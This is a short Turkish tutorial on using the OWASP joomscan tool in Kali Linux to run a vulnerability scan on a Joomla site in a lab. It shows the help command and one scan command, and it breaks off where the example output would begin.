OWASP Joomscan Aracı ile Bir Joomla Uygulaması İçin Zafiyet Taramasının Gerçekleştirilmesi

Sızma testlerinde ve sistem güvenliğinde zafiyet taraması önemli bir yer tutmaktadır. Zafiyet taraması için çeşitli uygulamalar ve betikler bulunmaktadır. Bu yazıda OWASP tarafından sunulan joomscan adlı betik kullanılarak, bir Joomla uygulaması için zafiyet taraması gerçekleştirilecektir.

Araç Kali üzerinde hazır olarak gelmektedir. Temel parametreleri aşağıdaki gibidir.

joomscan -h

 

Örnek bir zafiyet taraması için “-u” parametresinden sonra hedefin yazılması yeterlidir.

joomscan -u http://192.168.30.139:8081

 

Böylece tarama gerçekleştirilir.

 

Örnek bir tarama çıktısı aşağıdaki gibidir.
